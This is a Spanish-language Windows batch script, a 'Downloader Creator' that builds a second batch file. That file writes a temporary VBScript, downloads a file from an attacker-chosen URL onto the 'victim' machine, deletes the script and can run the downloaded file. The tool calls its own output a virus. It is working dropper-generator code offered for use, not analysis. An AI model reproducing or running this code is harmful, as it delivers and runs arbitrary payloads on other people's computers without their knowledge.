echo off
color 1A
mode con cols=65lines=44
title Downloader Creator Full 0.1v
cls
echo.
echo ***********************************************
echo *****    Downloader Creator Full 0.1v     *****
echo *****         Por The Maxu                *****
echo ***********************************************
echo.
echo.
echo.
echo Primero selecione el nombre del bat a crear:
set /p name=
echo @echo off > C:\%name%.bat
echo.
echo Archivo Creado en C:\ con el nombre: %name%.bat
pause > nul
:main
cls
echo ***********************************************
echo *****    Downloader Creator Full 0.1v     *****
echo *****         Por The Maxu                *****
echo ***********************************************
echo.
echo 1. Descargar archivo en la victima
echo 2. Salir
echo.
set /p opc=Elije una:
if %opc%==1 goto down
if %opc%==2 exit
goto main

:down
cls
echo  Escriba la direcion de la descarga
set /p direciondescarga=
echo  Escriba la ruta en la que se guardara(ej: C:\imagen.png o C:\programa.exe)
set /p guardardescarga=
echo  Escriba un nombre para utilizar el vbs
set /p descarga=
echo echo Const adTypeBinary = 1 ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Const adSaveCreateOverWrite = 2 ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Dim BinaryStream ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Set BinaryStream = CreateObject("ADODB.Stream") ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.Type = adTypeBinary ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.Open ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Function BinaryGetURL(URL) ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Dim Http ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Http.Open "GET", URL, False ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Http.Send ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryGetURL = Http.ResponseBody ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo End Function ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo CScript //nologo c:\%descarga%.vbs "%direciondescarga%" "%guardardescarga%" >> C:\%name%.bat
echo Del c:\%descarga%.vbs >> C:\%name%.bat
goto ejecute
:ejecute
cls
echo desea que se ejecute despues de la descarga?
echo  1.si
echo  2.no
echo.
set /p siono=
if %siono%==1 goto ejecutar
if %siono%==2 goto main
:ejecutar
cls
echo start %guardardescarga% >> C:\%name%.bat
echo Ok, Virus editado.
pause > nul
goto main